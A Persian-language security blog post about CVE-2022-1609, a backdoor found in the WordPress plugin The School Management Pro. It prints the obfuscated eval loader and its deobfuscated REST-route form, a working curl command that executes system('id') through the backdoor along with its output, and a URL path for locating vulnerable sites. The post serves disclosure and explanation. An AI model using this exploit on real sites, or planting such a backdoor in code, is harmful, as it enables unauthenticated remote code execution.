کشف بکدور در پلاگین وردپرسی The School Management Pro

با بررسی که روی پلاگین وردپرسی The School Management Pro نسخه های قبل از 9.9.7 انجام شده ، محققا یک بکدور پیدا کردند که به مهاجم بدون احراز هویت شده اجازه میده تا کد دلخواه PHP رو روی سایت اجرا کنه.

این پلاگین که محصول Weblizar هستش، برای مدیریت مدرسه و سیستم آموزشی برای وردپرس طراحی شده و امکانات زیادی مثلا مدیریت کلاس ، ارسال نمرات ، تابلو اعلانات ، کارت شناسایی ، برگزاری امتحانات و ... رو داره.

کشف آسیب پذیری هم اینجوری بوده که یک کد مبهم تو یه افزونه توسط تیم پشتیبانی WordPress.com در چندین سایت کشف و جهت بررسی گزارش داده شده.

$_fc = eval(&quot\x65\x76\x61\x6c(\x67\x7a&quot.chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . &quot\x6c\x61\x74&quot . &quot\x65\x28\x62&quot.&quot\x61\x73\x65\x36&quot.&quot\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='&quot . str_repeat(chr(0x29), 3).&quot\x3b&quot);

بعد از خارج کردن کد از حالت مبهم سازی (two rounds of trivial deobfuscation)، قطعه کد زیر بدست اومده:

add_action( 'rest_api_init', function() {
     register_rest_route(
           'am-member', 'license',
           array(
                'methods'  => WP_REST_Server::CREATABLE,
                'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                               eval( $args['blowf'] );
                                }
                      };
                )
      );
} );

اگه به کد نگاه کنید ، کد یسری پارامترها رو بررسی میکنه و در نهایت با تابع eval آرگومان Blowf رو اجرا میکنه. تابع Eval کارش اینکه یه رشته از دستورات PHP میگیره و اونو اجرا میکنه. مثلا قطعه کد زیر در نظر بگیرید:

$mycommand = 'echo &quotonhex_ir&quot';
echo $mycommand;
eval ($mycommand);

نتیجه اجرای کد بالا :

echo &quotonhex_ir&quot
onhex_ir

خب حالا برای اینکه بتونیم از بک دور بالا استفاده کنیم کافیه یه درخواست مثله درخواست زیر رو ارسال کنیم که طبق کد بالا قسمتی که با If هستش باید آرگومانهای blowfish و blowf ست شده باشند و خالی نباشند و با توجه به اینکه eval مقدار blowf رو اجرا میکنه ، کامند دلخواه ما هم باید در این آرگومان قرار بگیره.

$ curl -s -d 'blowfish=1' -d &quotblowf=system('id');&quot 'http://localhost:8888/wp-json/am-member/license'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

با توجه به PoC منتشر شده با گوگل دورک یا استفاده از رشته های شودان،اگه آدرسی حاوی مسیر زیر باشه ، این آسیب پذیری رو داراست. البته اگه از اتومیشن استفاده میکنید و سیستمتون این امکان رو داره که مسیرها رو هم ذخیره کنه میتونید ازش استفاده کنید.

wp-json/am-member/license

قرار دادن بکدور اغلب تو قالب ها و پلاگین های نال شده رایج هستش.تو این مورد اما پلاگین از یه فروشنده مجاز خریداری شده و با بررسی هایی که انجام شده ، فروشنده یعنی Weblizar هم نمیدونه چطوری و چه زمانی این بکدور به سیستمشون نفوذ کرده.

با توجه به موارد بالا و اینکه بکدور در نسخه 8.9 پیدا شده است توصیه شده که اگه از این پلاگین استفاده میکنید اونو به نسخه 9.9.7 ارتقاء بدید.

نسخه رایگان این پلاگین در WordPress.org به دلیل نداشتن بخش لایسنس فاقد بکدور هستش.

این بکدور با شناسه CVE-2022-1609 و امتیاز 10 و بعنوان آسیب پذیری حیاتی شناخته شده است.


ما را در تلگرام دنبال کنید

اگه مفید بود یه قهوه برای من بخر

ویدیوی دنیای توسعه دهندگان زیرودی ، مشاهده در : آپارات - یوتیوب - تلگرام

اولین شماره از نشریه تخصصی امنیت سایبری با موضوعات مختلف و بروز